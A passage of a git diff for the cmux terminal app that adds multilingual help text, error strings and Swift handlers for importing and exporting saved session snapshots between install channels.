le fichier de l'autre installation est seulement lu.\n--from <path> Rouvrir un fichier de session écrit par --export.\n--export <path> Écrire la session enregistrée de ce cmux dans un fichier. Ajoutez --force pour remplacer\n un fichier existant.\n\n--from et --export nécessitent que cmux soit ouvert." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "Uso: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\nVuelve a abrir la última sesión guardada de cmux.\n\nSi la app ya está abierta, restaura la última sesión guardada en la app actual.\nSi la app no está abierta, inicia cmux y deja que la restauración de inicio vuelva a abrir la sesión guardada.\n\nCada instalación de cmux (stable, nightly, rc, staging, builds de depuración con etiqueta) guarda su propia sesión.\n--from <channel> Abre en este cmux la sesión guardada de otra instalación, por ejemplo después de\n probar nightly y volver a stable. La sesión se abre en ventanas adicionales; el archivo\n de la otra instalación solo se lee.\n--from <path> Abre un archivo de sesión escrito con --export.\n--export <path> Escribe en un archivo la sesión guardada de este cmux. Usa --force para reemplazar un\n archivo existente.\n\n--from y --export requieren que cmux esté abierto." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "使い方: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\n前回保存した cmux セッションを再度開きます。\n\nアプリがすでに起動している場合は、最後に保存したセッションを現在のアプリに復元します。\nアプリが起動していない場合は、cmux を起動し、起動時の復元で保存済みセッションを開きます。\n\ncmux の各インストール(stable、nightly、rc、staging、タグ付き debug ビルド)はそれぞれ独自のセッションを保存します。\n--from <channel> 別のインストールで保存したセッションを、起動中のこの cmux で開きます。たとえば nightly を\n 試したあと stable に戻る場合に使います。セッションは追加のウインドウとして開き、別の\n インストールのファイルは読み取るだけです。\n--from <path> --export で書き出したセッションファイルを開きます。\n--export <path> この cmux の保存済みセッションをファイルに書き出します。既存のファイルを置き換えるには\n --force を指定します。\n\n--from と --export を使うには cmux が起動している必要があります。" + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "الاستخدام: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\nأعد فتح آخر جلسة cmux محفوظة.\n\nإذا كان التطبيق يعمل بالفعل، فستُستعاد آخر جلسة محفوظة في التطبيق الحالي.\nإذا لم يكن التطبيق يعمل، فسيُشغَّل cmux وتعيد استعادة بدء التشغيل فتح الجلسة المحفوظة.\n\nيحفظ كل تثبيت من cmux (stable وnightly وrc وstaging وإصدارات debug الموسومة) جلسته الخاصة.\n--from <channel> افتح الجلسة المحفوظة لتثبيت آخر في cmux الذي يعمل الآن، مثلًا\n بعد تجربة nightly والعودة إلى stable. تُفتح الجلسة في\n نوافذ إضافية، ويُقرأ ملف التثبيت الآخر فقط.\n--from <path> افتح ملف جلسة كتبه الأمر --export.\n--export <path> اكتب الجلسة المحفوظة لهذا cmux في ملف. استخدم --force لاستبدال\n ملف موجود.\n\nيتطلب --from و--export أن يكون cmux قيد التشغيل." + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "用法: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\n重新開啟上次儲存的 cmux 工作階段。\n\n如果 App 已在執行,會將上次儲存的工作階段還原到目前的 App 中。\n如果 App 未執行,會啟動 cmux,並由啟動還原重新開啟已儲存的工作階段。\n\n每個 cmux 安裝(stable、nightly、rc、staging、帶標籤的 debug 建置)都會儲存自己的工作階段。\n--from <channel> 在執行中的 cmux 開啟另一個安裝儲存的工作階段,例如\n 試用 nightly 後切回 stable。工作階段會以\n 額外視窗開啟;另一個安裝的檔案只會被讀取。\n--from <path> 開啟由 --export 寫出的工作階段檔案。\n--export <path> 將此 cmux 儲存的工作階段寫入檔案。使用 --force 可取代\n 既有檔案。\n\n--from 和 --export 需要 cmux 正在執行。" + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "用法: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\n重新打开上次保存的 cmux 会话。\n\n如果应用已在运行,会将上次保存的会话恢复到当前应用中。\n如果应用未运行,会启动 cmux,并由启动恢复重新打开保存的会话。\n\n每个 cmux 安装(stable、nightly、rc、staging、带标签的 debug 构建)都会保存自己的会话。\n--from <channel> 在正在运行的 cmux 中打开另一个安装保存的会话,例如\n 试用 nightly 后切回 stable。会话会以\n 额外窗口打开;另一个安装的会话文件只会被读取。\n--from <path> 打开由 --export 写出的会话文件。\n--export <path> 将此 cmux 保存的会话写入文件。使用 --force 可替换\n 已有文件。\n\n--from 和 --export 需要 cmux 正在运行。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "사용법: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\n마지막으로 저장된 cmux 세션을 다시 엽니다.\n\n앱이 이미 실행 중이면 마지막으로 저장된 세션을 현재 앱에 복원합니다.\n앱이 실행 중이 아니면 cmux를 실행하고 시작 복원이 저장된 세션을 다시 열도록 합니다.\n\n각 cmux 설치(stable, nightly, rc, staging, 태그가 지정된 debug 빌드)는 자체 세션을 저장합니다.\n--from <channel> 다른 설치에 저장된 세션을 실행 중인 이 cmux에서 엽니다. 예를 들어\n nightly를 사용해 본 뒤 stable로 돌아올 때 사용합니다. 세션은\n 추가 창으로 열리며, 다른 설치의 파일은 읽기만 합니다.\n--from <path> --export로 작성한 세션 파일을 엽니다.\n--export <path> 이 cmux에 저장된 세션을 파일로 씁니다. 기존 파일을 바꾸려면\n --force를 사용하세요.\n\n--from과 --export를 사용하려면 cmux가 실행 중이어야 합니다." + } + } + } + }, + "session.export.error.destinationExists": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "%@ already exists. Pass --force to replace it." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "%@ موجود بالفعل. استخدم --force لاستبداله." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "%@ ist bereits vorhanden. Verwenden Sie --force, um die Datei zu ersetzen." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "%@ ya existe. Usa --force para reemplazarlo." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "%@ existe déjà. Ajoutez --force pour le remplacer." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ はすでに存在します。置き換えるには --force を指定してください。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%@ 파일이 이미 있습니다. 바꾸려면 --force를 사용하세요." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "%@ 已存在。使用 --force 以替换它。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "%@ 已存在。使用 --force 以取代它。" + } + } + } + }, + "session.export.error.destinationIsLive": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "%@ is this cmux's own session file. Choose another path." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "%@ هو ملف الجلسة الخاص بهذا الـ cmux. اختر مسارًا آخر." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "%@ ist die eigene Sitzungsdatei dieses cmux. Wählen Sie einen anderen Pfad." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "%@ es el archivo de sesión de este cmux. Elige otra ruta." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "%@ est le fichier de session de ce cmux. Choisissez un autre chemin." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ はこの cmux 自身のセッションファイルです。別のパスを指定してください。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%@ 파일은 이 cmux의 세션 파일입니다. 다른 경로를 선택하세요." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "%@ 是此 cmux 自己的会话文件。请选择其他路径。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "%@ 是此 cmux 本身的工作階段檔案。請選擇其他路徑。" + } + } + } + }, + "session.export.error.noSnapshot": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "cmux has not saved a session yet. Try again in a few seconds." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "لم يحفظ cmux أي جلسة بعد. حاول مرة أخرى بعد بضع ثوانٍ." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "cmux hat noch keine Sitzung gespeichert. Versuchen Sie es in ein paar Sekunden erneut." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "cmux aún no ha guardado ninguna sesión. Inténtalo de nuevo en unos segundos." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "cmux n'a pas encore enregistré de session. Réessayez dans quelques secondes." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "cmux はまだセッションを保存していません。数秒後にもう一度お試しください。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "cmux가 아직 세션을 저장하지 않았습니다. 몇 초 후에 다시 시도하세요." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "cmux 尚未保存会话。请几秒后再试。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "cmux 尚未儲存工作階段。請過幾秒再試一次。" + } + } + } + }, + "session.export.error.writeFailed": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Could not write %@." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "تعذّرت كتابة %@." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "%@ konnte nicht geschrieben werden." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "No se pudo escribir %@." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Impossible d'écrire %@." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ を書き込めませんでした。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%@ 파일을 쓸 수 없습니다." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "无法写入 %@。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "無法寫入 %@。" + } + } + } + }, + "session.import.error.fileNotFound": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "No saved cmux session at %@." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "لا توجد جلسة cmux محفوظة في %@." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "Unter %@ gibt es keine gespeicherte cmux-Sitzung." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "No hay ninguna sesión de cmux guardada en %@." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Aucune session cmux enregistrée à l'emplacement %@." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ に保存された cmux セッションはありません。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%@ 위치에 저장된 cmux 세션이 없습니다." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "%@ 没有已保存的 cmux 会话。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "%@ 沒有已儲存的 cmux 工作階段。" + } + } + } + }, + "session.import.error.newerSchema": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "%1$@ was saved by a newer cmux (session format %2$@, this cmux reads %3$@). Update cmux to import it." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "حُفظ %1$@ بواسطة إصدار أحدث من cmux (تنسيق الجلسة %2$@، ويقرأ هذا الـ cmux التنسيق %3$@). حدّث cmux لاستيراده." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "%1$@ wurde von einem neueren cmux gespeichert (Sitzungsformat %2$@, dieses cmux liest %3$@). Aktualisieren Sie cmux, um die Datei zu importieren." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "%1$@ se guardó con un cmux más reciente (formato de sesión %2$@; este cmux lee el %3$@). Actualiza cmux para importarlo." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "%1$@ a été enregistré par une version plus récente de cmux (format de session %2$@, ce cmux lit le format %3$@). Mettez cmux à jour pour l'importer." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%1$@ は新しい cmux で保存されています(セッション形式 %2$@、この cmux が読める形式は %3$@)。読み込むには cmux をアップデートしてください。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%1$@ 파일은 더 새로운 cmux에서 저장되었습니다(세션 형식 %2$@, 이 cmux는 %3$@ 형식을 읽음). 가져오려면 cmux를 업데이트하세요." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "%1$@ 由较新版本的 cmux 保存(会话格式 %2$@,此 cmux 读取 %3$@)。请更新 cmux 后再导入。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "%1$@ 是由較新版本的 cmux 儲存(工作階段格式 %2$@,此 cmux 讀取 %3$@)。請更新 cmux 後再匯入。" + } + } + } + }, + "session.import.error.noWindows": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "%@ has no windows to restore." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "لا يحتوي %@ على نوافذ لاستعادتها." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "%@ enthält keine Fenster zum Wiederherstellen." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "%@ no tiene ventanas que restaurar." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "%@ ne contient aucune fenêtre à restaurer." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ には復元できるウインドウがありません。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%@ 파일에 복원할 창이 없습니다." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "%@ 没有可恢复的窗口。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "%@ 沒有可還原的視窗。" + } + } + } + }, + "session.import.error.notASnapshot": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "%@ is not a cmux session snapshot." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "%@ ليس لقطة جلسة cmux." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "%@ ist keine cmux-Sitzungsdatei." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "%@ no es una instantánea de sesión de cmux." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "%@ n'est pas un instantané de session cmux." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ は cmux のセッションスナップショットではありません。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%@ 파일은 cmux 세션 스냅샷이 아닙니다." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "%@ 不是 cmux 会话快照。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "%@ 不是 cmux 工作階段快照。" + } + } + } + }, + "session.import.error.nothingRestored": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Nothing in %@ could be reopened." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "تعذّر إعادة فتح أي شيء من %@." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "Aus %@ konnte nichts wieder geöffnet werden." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "No se pudo volver a abrir nada de %@." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Aucun élément de %@ n'a pu être rouvert." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ から再度開けるものはありませんでした。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%@ 파일에서 다시 열 수 있는 항목이 없습니다." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "无法重新打开 %@ 中的任何内容。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "無法重新開啟 %@ 中的任何內容。" + } + } + } + }, + "session.import.error.olderSchema": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "%1$@ uses an older session format (%2$@) that this cmux no longer reads (%3$@)." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "يستخدم %1$@ تنسيق جلسة أقدم (%2$@) لم يعد هذا الـ cmux يقرؤه (%3$@)." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "%1$@ verwendet ein älteres Sitzungsformat (%2$@), das dieses cmux nicht mehr liest (%3$@)." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "%1$@ usa un formato de sesión anterior (%2$@) que este cmux ya no lee (%3$@)." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "%1$@ utilise un ancien format de session (%2$@) que ce cmux ne lit plus (%3$@)." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%1$@ はこの cmux が読み込まなくなった古いセッション形式(%2$@)を使用しています(%3$@)。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%1$@ 파일은 이 cmux가 더 이상 읽지 않는 이전 세션 형식(%2$@)을 사용합니다(%3$@)." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "%1$@ 使用较旧的会话格式(%2$@),此 cmux 已不再读取(%3$@)。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "%1$@ 使用較舊的工作階段格式(%2$@),此 cmux 已不再讀取(%3$@)。" + } + } + } + }, + "session.import.error.unknownChannel": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Unknown cmux channel \"%@\". Use stable, nightly, rc, staging, debug:<tag>, or a path to a session file." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "قناة cmux غير معروفة \"%@\". استخدم stable أو nightly أو rc أو staging أو debug:<tag> أو مسار ملف جلسة." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "Unbekannter cmux-Kanal \"%@\". Verwenden Sie stable, nightly, rc, staging, debug:<tag> oder einen Pfad zu einer Sitzungsdatei." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "Canal de cmux desconocido \"%@\". Usa stable, nightly, rc, staging, debug:<tag> o la ruta de un archivo de sesión." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Canal cmux inconnu « %@ ». Utilisez stable, nightly, rc, staging, debug:<tag> ou le chemin d'un fichier de session." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "不明な cmux チャンネル「%@」です。stable、nightly、rc、staging、debug:<tag>、またはセッションファイルのパスを指定してください。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "알 수 없는 cmux 채널 \"%@\"입니다. stable, nightly, rc, staging, debug:<tag> 또는 세션 파일 경로를 사용하세요." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "未知的 cmux 渠道“%@”。请使用 stable、nightly、rc、staging、debug:<tag> 或会话文件路径。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "未知的 cmux 通道「%@」。請使用 stable、nightly、rc、staging、debug:<tag> 或工作階段檔案路徑。" + } + } + } + }, + "session.import.error.unreadable": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Could not read %@." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "تعذّرت قراءة %@." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "%@ konnte nicht gelesen werden." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "No se pudo leer %@." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Impossible de lire %@." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ を読み込めませんでした。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%@ 파일을 읽을 수 없습니다." + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "无法读取 %@。" + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "無法讀取 %@。" + } + } + } + }, + "session.import.error.liveSnapshot": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "%@ is the session this cmux is saving right now. Run cmux restore-session without --from to reopen the previous launch." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "%@ ist die Sitzung, die dieses cmux gerade speichert. Führen Sie cmux restore-session ohne --from aus, um den vorherigen Start wieder zu öffnen." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "%@ est la session que ce cmux enregistre actuellement. Exécutez cmux restore-session sans --from pour rouvrir le lancement précédent." + } + }, + "ar": { + "stringUnit": { + "state": "translated", + "value": "%@ هي الجلسة التي يحفظها cmux هذا الآن. شغّل cmux restore-session دون --from لإعادة فتح التشغيل السابق." + } + }, + "es": { + "stringUnit": { + "state": "translated", + "value": "%@ es la sesión que este cmux está guardando ahora. Ejecuta cmux restore-session sin --from para volver a abrir el inicio anterior." + } + }, + "zh-Hant": { + "stringUnit": { + "state": "translated", + "value": "%@ 是此 cmux 目前正在儲存的工作階段。執行不含 --from 的 cmux restore-session 以重新開啟上次啟動的內容。" + } + }, + "zh-Hans": { + "stringUnit": { + "state": "translated", + "value": "%@ 是此 cmux 当前正在保存的会话。运行不带 --from 的 cmux restore-session 以重新打开上次启动的内容。" + } + }, + "ko": { + "stringUnit": { + "state": "translated", + "value": "%@ 파일은 이 cmux가 지금 저장 중인 세션입니다. 이전 실행을 다시 열려면 --from 없이 cmux restore-session을 실행하세요." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "%@ はこの cmux が現在保存しているセッションです。前回の起動を再度開くには、--from を付けずに cmux restore-session を実行してください。" + } + } + } } }, "version": "1.0" diff --git a/Sources/TerminalController+Capabilities.swift b/Sources/TerminalController+Capabilities.swift index e49a038c2480..523c7805cb5d 100644 --- a/Sources/TerminalController+Capabilities.swift +++ b/Sources/TerminalController+Capabilities.swift @@ -221,6 +221,8 @@ extension TerminalController { "workspace.remote.terminal_session_connected", "workspace.remote.terminal_session_end", "remote.tmux.sessions", "remote.tmux.attach", "remote.tmux.detach", "remote.tmux.state", "remote.tmux.mirror", "remote.tmux.window", "remote.tmux.pane_grids", "remote.tmux.pane_surfaces", "session.restore_previous", + "session.import", + "session.export", "settings.open", "feedback.open", "feedback.submit", diff --git a/Sources/TerminalController+ControlSystemContext.swift b/Sources/TerminalController+ControlSystemContext.swift index 3dc2a7808ce4..08ba51e66413 100644 --- a/Sources/TerminalController+ControlSystemContext.swift +++ b/Sources/TerminalController+ControlSystemContext.swift @@ -2,11 +2,13 @@ import AppKit import Bonsplit import CmuxControlSocket import CmuxFeedback +import CmuxWorkspaces import Foundation /// The system-domain witnesses: the byte-faithful bodies of the former /// `v2SystemTree` tree walk, `v2WorkspaceAction` / `v2TabAction` mutation -/// switches, `v2ExtensionSidebarSnapshot`, `v2SessionRestorePrevious`, +/// switches, `v2ExtensionSidebarSnapshot`, `v2SessionRestorePrevious`, the +/// `session.import` / `session.export` session transfer, /// `v2SettingsOpen`, `v2FeedbackOpen`, and the DEBUG-only /// `v2MobileDevStackAuthConfigure`, minus the per-read `v2MainSync` hops (the /// coordinator already runs on the main actor inside the socket-command policy @@ -254,6 +256,196 @@ extension TerminalController: ControlSystemContext { return .restored } + /// Imports another install's saved session (or a snapshot file) through + /// the same path as `session.restore_previous`: the snapshot opens as + /// additional windows next to the current ones, skipping workspaces and + /// panels that are already live. The source file is only read. + func controlSessionImport(source: ControlSessionImportSource) -> ControlSessionImportResolution { + guard let appDelegate = AppDelegate.shared else { + return .failed(code: "unavailable", message: "AppDelegate not available", path: nil) + } + let store = appDelegate.sessionSnapshotStore + let result: Result<SessionSnapshotImport<AppSessionSnapshot>, SessionSnapshotImportError> + switch source { + case .channel(let name): + guard let bundleIdentifier = SessionSnapshotFileLocation.bundleIdentifier(forChannel: name) else { + return .failed( + code: "invalid_params", + message: String( + format: String( + localized: "session.import.error.unknownChannel", + defaultValue: "Unknown cmux channel \"%@\". Use stable, nightly, rc, staging, debug:<tag>, or a path to a session file." + ), + name + ), + path: nil + ) + } + result = store.importableSnapshot(bundleIdentifier: bundleIdentifier) + case .file(let path): + result = store.importableSnapshot(fileURL: URL(fileURLWithPath: path)) + } + switch result { + case .failure(let error): + return .failed( + code: Self.sessionImportErrorCode(error), + message: Self.sessionImportErrorMessage(error), + path: error.fileURL.path + ) + case .success(let imported): + let windowCount = min( + imported.snapshot.windows.count, + SessionPersistencePolicy.maxWindowsPerSnapshot + ) + guard appDelegate.restorePreviousSessionSnapshot(imported.snapshot, shouldActivate: false) else { + return .failed( + code: "invalid_state", + message: String( + format: String( + localized: "session.import.error.nothingRestored", + defaultValue: "Nothing in %@ could be reopened." + ), + imported.fileURL.path + ), + path: imported.fileURL.path + ) + } + return .restored(sourcePath: imported.fileURL.path, windowCount: windowCount) + } + } + + func controlSessionExport(path: String, overwrite: Bool) -> ControlSessionExportResolution { + guard let appDelegate = AppDelegate.shared else { + return .failed(code: "unavailable", message: "AppDelegate not available", path: nil) + } + let destination = URL(fileURLWithPath: path) + switch appDelegate.sessionSnapshotStore.exportSnapshot(to: destination, overwrite: overwrite) { + case .success(let sourceURL): + return .exported(path: destination.standardizedFileURL.path, sourcePath: sourceURL.path) + case .failure(.noSnapshot): + return .failed( + code: "not_found", + message: String( + localized: "session.export.error.noSnapshot", + defaultValue: "cmux has not saved a session yet. Try again in a few seconds." + ), + path: nil + ) + case .failure(.destinationExists(let url)): + return .failed( + code: "already_exists", + message: String( + format: String( + localized: "session.export.error.destinationExists", + defaultValue: "%@ already exists. Pass --force to replace it." + ), + url.path + ), + path: url.path + ) + case .failure(.destinationIsLiveSnapshot(let url)): + return .failed( + code: "invalid_params", + message: String( + format: String( + localized: "session.export.error.destinationIsLive", + defaultValue: "%@ is this cmux's own session file. Choose another path." + ), + url.path + ), + path: url.path + ) + case .failure(.writeFailed(let url)): + return .failed( + code: "invalid_state", + message: String( + format: String( + localized: "session.export.error.writeFailed", + defaultValue: "Could not write %@." + ), + url.path + ), + path: url.path + ) + } + } + + private static func sessionImportErrorCode(_ error: SessionSnapshotImportError) -> String { + switch error { + case .fileNotFound, .noWindows: + return "not_found" + case .unreadable: + return "invalid_state" + case .notASessionSnapshot, .liveSnapshot: + return "invalid_params" + case .newerSchemaVersion, .olderSchemaVersion: + return "unsupported" + } + } + + private static func sessionImportErrorMessage(_ error: SessionSnapshotImportError) -> String { + let path = error.fileURL.path + switch error { + case .fileNotFound: + return String( + format: String( + localized: "session.import.error.fileNotFound", + defaultValue: "No saved cmux session at %@." + ), + path + ) + case .unreadable: + return String( + format: String(localized: "session.import.error.unreadable", defaultValue: "Could not read %@."), + path + ) + case .notASessionSnapshot: + return String( + format: String( + localized: "session.import.error.notASnapshot", + defaultValue: "%@ is not a cmux session snapshot." + ), + path + ) + case let .newerSchemaVersion(_, found, supported): + return String( + format: String( + localized: "session.import.error.newerSchema", + defaultValue: "%1$@ was saved by a newer cmux (session format %2$@, this cmux reads %3$@). Update cmux to import it." + ), + path, + String(found), + String(supported) + ) + case let .olderSchemaVersion(_, found, supported): + return String( + format: String( + localized: "session.import.error.olderSchema", + defaultValue: "%1$@ uses an older session format (%2$@) that this cmux no longer reads (%3$@)." + ), + path, + String(found), + String(supported) + ) + case .noWindows: + return String( + format: String( + localized: "session.import.error.noWindows", + defaultValue: "%@ has no windows to restore." + ), + path + ) + case .liveSnapshot: + return String( + format: String( + localized: "session.import.error.liveSnapshot", + defaultValue: "%@ is the session this cmux is saving right now. Run cmux restore-session without --from to reopen the previous launch." + ), + path + ) + } + } + func controlSettingsOpen(targetRaw: String?, requestedActivate: Bool) -> ControlSettingsOpenResolution { let shouldActivate = v2FocusAllowed(requested: requestedActivate) diff --git a/Sources/TerminalController.swift b/Sources/TerminalController.swift index 366450969089..da55e1f9e79e 100644 --- a/Sources/TerminalController.swift +++ b/Sources/TerminalController.swift @@ -3034,8 +3034,9 @@ class TerminalController { case "surface.sync_codex_native_title": return v2Result(id: id, self.v2SurfaceSyncCodexNativeTitle(params: params)) - // Settings/session/feedback: session.restore_previous, settings.open, and - // feedback.open handled by ControlCommandCoordinator. + // Settings/session/feedback: session.restore_previous, session.import, + // session.export, settings.open, and feedback.open handled by + // ControlCommandCoordinator. // Feed (workstream): feed.jump/feed.list handled by ControlCommandCoordinator. case "sidebar.custom.open": diff --git a/cmux.xcodeproj/project.pbxproj b/cmux.xcodeproj/project.pbxproj index c1355c0d22a5..63f5578a9789 100644 --- a/cmux.xcodeproj/project.pbxproj +++ b/cmux.xcodeproj/project.pbxproj @@ -626,6 +626,7 @@ C11757000000000000000030 /* CLIOmpSupersededCleanupTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = C11757000000000000000017 /* CLIOmpSupersededCleanupTests.swift */; }; C11757000000000000000031 /* CLIRelayQueuedHookRegressionTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = C11757000000000000000018 /* CLIRelayQueuedHookRegressionTests.swift */; }; C0F16B000000000000000001 /* CLIRemoteShellStartupPerformanceTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = C0F16B000000000000000002 /* CLIRemoteShellStartupPerformanceTests.swift */; }; + C11757000000000000000071 /* CLIRestoreSessionTransferTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = C11757000000000000000070 /* CLIRestoreSessionTransferTests.swift */; }; A5D41209A1B2C3D4E5F60718 